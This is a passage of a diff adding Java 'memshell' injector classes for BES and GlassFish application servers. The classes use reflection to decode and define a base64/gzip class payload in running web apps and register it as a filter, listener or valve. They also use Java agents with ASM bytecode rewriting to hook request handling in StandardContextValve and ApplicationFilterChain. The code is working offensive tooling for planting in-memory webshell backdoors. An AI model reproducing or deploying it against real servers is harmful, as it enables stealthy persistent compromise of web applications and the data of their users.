+     * /opt/bes/lib/bes-engine.jar
+     */
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                Collection<?> values = childrenMap.values();
+                for (Object value : values) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("unchecked")
+    public void inject(Object context, Object filter) throws Exception {
+        String filterName = getClassName();
+        if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
+            log.warning("filter already exists");
+            return;
+        }
+        ClassLoader contextClassLoader = context.getClass().getClassLoader();
+        Object filterDef = contextClassLoader.loadClass("com.bes.enterprise.web.util.descriptor.web.FilterDef").newInstance();
+        Object filterMap = contextClassLoader.loadClass("com.bes.enterprise.web.util.descriptor.web.FilterMap").newInstance();
+        invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
+        invokeMethod(filterDef, "setFilter", new Class[]{Filter.class}, new Object[]{filter});
+        invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
+        invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
+        invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+        try {
+            invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+        } catch (Exception e) {
+            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+        }
+
+        Constructor<?>[] constructors = contextClassLoader.loadClass("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors();
+        constructors[0].setAccessible(true);
+        Object filterConfig = constructors[0].newInstance(context, filterDef);
+        HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
+        filterConfigs.put(filterName, filterConfig);
+        log.info("filter added successfully");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java

@@ -0,0 +1,173 @@
+package com.reajason.javaweb.memshell.injector.bes;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.logging.Logger;
+import java.util.zip.GZIPInputStream;
+
+
+/**
+ * @author ReaJason
+ */
+public class BesListenerInjector {
+    static {
+        new BesListenerInjector();
+    }
+
+    Logger log = Logger.getLogger(BesListenerInjector.class.getName());
+
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public BesListenerInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getShell(context);
+                inject(context, listener);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                Collection<?> values = childrenMap.values();
+                for (Object value : values) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object listener) throws Exception {
+        Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
+        for (Object eventListener : eventListeners) {
+            if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
+                System.out.println("listener already exists");
+                return;
+            }
+        }
+        List<Object> newListeners = new ArrayList<Object>();
+        newListeners.add(listener);
+        newListeners.addAll(Arrays.asList(eventListeners));
+        invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()});
+        System.out.println("listener added successfully");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java

@@ -0,0 +1,177 @@
+package com.reajason.javaweb.memshell.injector.bes;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class BesValveInjector {
+
+    static {
+        new BesValveInjector();
+    }
+
+    public BesValveInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object valve = getShell(context);
+                inject(context, valve);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                Collection<?> values = childrenMap.values();
+                for (Object value : values) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public boolean isInjected(Object pipeline) throws Exception {
+        Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
+        List<Object> valvesList = Arrays.asList(valves);
+        for (Object valve : valvesList) {
+            if (valve.getClass().getName().contains(getClassName())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object valve) throws Exception {
+        Object pipeline = invokeMethod(context, "getPipeline", null, null);
+        if (isInjected(pipeline)) {
+            System.out.println("valve already injected");
+            return;
+        }
+        Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve");
+        // com.bes.enterprise.webtier.core.DefaultPipeline
+        invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java

@@ -0,0 +1,219 @@
+package com.reajason.javaweb.memshell.injector.glassfish;
+
+import org.objectweb.asm.*;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class GlassFishContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
+    private static final String TARGET_METHOD_NAME = "invoke";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new GlassFishContextValveAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+                System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
+            }
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            defineTargetClass(loader);
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Throwable e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Throwable e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void defineTargetClass(ClassLoader loader) {
+        try {
+            loader.loadClass(getClassName());
+            return;
+        } catch (ClassNotFoundException ignored) {
+        }
+        try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
+        } catch (Exception ignored) {
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java

@@ -0,0 +1,219 @@
+package com.reajason.javaweb.memshell.injector.glassfish;
+
+import org.objectweb.asm.*;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
+    private static final String TARGET_METHOD_NAME = "doFilter";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new GlassFishFilterChainAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+                System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
+            }
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            defineTargetClass(loader);
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Throwable e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Throwable e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
